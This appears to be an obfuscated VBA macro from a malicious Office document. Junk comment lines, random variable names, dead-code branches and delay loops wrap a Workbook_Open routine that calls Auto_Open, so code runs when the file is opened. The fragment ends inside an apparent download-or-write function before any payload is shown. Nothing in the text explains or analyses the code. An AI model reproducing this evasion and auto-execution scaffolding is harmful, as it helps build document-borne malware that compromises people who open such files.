'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim DWVSsppN As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For DWVSsppN = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next DWVSsppN
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
       MsgBox ("Error !!!")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim qNqQVjSa As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim YOcDSBKX As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For YOcDSBKX = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next YOcDSBKX
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
qNqQVjSa = 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While qNqQVjSa < 63
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim ZogxsVne As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For ZogxsVne = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next ZogxsVne
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: qNqQVjSa = qNqQVjSa + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim zoDZjcLU As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For zoDZjcLU = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next zoDZjcLU
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim SefbNHZh As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For SefbNHZh = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next SefbNHZh
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
    Auto_Open
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End Sub
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Sub Workbook_Open()
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 353982 = 353982 + 1 Then End
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 9515 < 39 Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim YnxHwLlg As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim euXLGRDi As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For euXLGRDi = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next euXLGRDi
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
YnxHwLlg = 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While YnxHwLlg < 17
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim vYfnWqBt As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For vYfnWqBt = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next vYfnWqBt
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: YnxHwLlg = YnxHwLlg + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim BIbFgUeP As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For BIbFgUeP = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next BIbFgUeP
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim plkkyvUH As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For plkkyvUH = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next plkkyvUH
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
        MsgBox ("BUiYCPxY11")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If Len("gNNnOwoe7572") = Len("LfXgwJHu") Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim lrmBGtRK As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim YDaUdCRH As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For YDaUdCRH = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next YDaUdCRH
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
lrmBGtRK = 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While lrmBGtRK < 21
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim TLEnfuqx As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For TLEnfuqx = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next TLEnfuqx
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: lrmBGtRK = lrmBGtRK + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim jZCVavxV As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For jZCVavxV = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next jZCVavxV
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim JvHACKHc As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For JvHACKHc = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next JvHACKHc
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
       MsgBox ("Error !!!")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim niEhjNle As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim nvHvpJHZ As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For nvHvpJHZ = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next nvHvpJHZ
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
niEhjNle = 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While niEhjNle < 32
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim nmoNSJDJ As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For nmoNSJDJ = 0 To 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next nmoNSJDJ
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: niEhjNle = niEhjNle + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim StebLAwE As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For StebLAwE = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next StebLAwE
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim SNwaxZlK As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For SNwaxZlK = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next SNwaxZlK
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
    Auto_Open
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End Sub
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Function PZQGZXPGNNP(ByVal TWTUFQULVUY As String, ByVal DNZWAGZEAAU As String) As Boolean
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
     Dim RNNVUWVLESY As Object, PFTOSMQXJLP As Long, RVDHCWIGIMP As Long, ZEFGKWXQJQF() As Byte
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 323226 = 323226 + 1 Then End
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 9743 < 94 Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim peCJFnhG As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim qfGnuLBq As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For qfGnuLBq = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next qfGnuLBq
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
peCJFnhG = 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While peCJFnhG < 35
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim cFvDnnWV As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For cFvDnnWV = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next cFvDnnWV
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: peCJFnhG = peCJFnhG + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim stZvZDCm As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For stZvZDCm = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next stZvZDCm
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim qptjEVZa As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For qptjEVZa = 0 To 7
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next qptjEVZa
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
        MsgBox ("kraivfKU45")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If Len("jjjqrgVW7899") = Len("AGkUtrJk") Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim QCBUbMUw As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim FLyqeBVs As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For FLyqeBVs = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next FLyqeBVs
